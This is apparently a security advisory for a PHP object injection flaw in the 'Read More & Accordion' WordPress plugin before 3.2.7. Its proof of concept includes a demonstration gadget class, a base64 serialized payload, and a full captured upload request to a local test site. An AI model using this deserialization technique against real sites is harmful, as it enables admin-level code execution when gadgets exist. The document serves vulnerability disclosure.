Read More & Accordion < 3.2.7 - Admin+ PHP Object Injection

Description The plugin unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.

PoC

To simulate a gadget chain, put the following code in a plugin: class Evil { public function __wakeup() : void { die(“Arbitrary deserialization”); } } Then create a file named “base64_payload.txt” with the following content: Tzo0OiJFdmlsIjowOnt9Ow== And import the file via the “Import” feature in the “Add New” section of the plugin. Intercept and view the next ajax request made, which will have the “Arbitrary deserialization” message demonstrating the issue. POST /wp/wp-admin/async-upload.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: */* Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/wp/wp-admin/admin.php?page=readMore Content-Type: multipart/form-data; boundary=---------------------------2212382545836040604482737484 Content-Length: 633 Origin: http://localhost Connection: close Cookie: [admin+] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin \-----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="name" base64_payload.txt \-----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="action" upload-attachment \-----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="_wpnonce" 16e174df64 \-----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="async-upload"; filename="base64_payload.txt" Content-Type: text/plain Tzo0OiJFdmlsIjowOnt9Ow== \-----------------------------2212382545836040604482737484--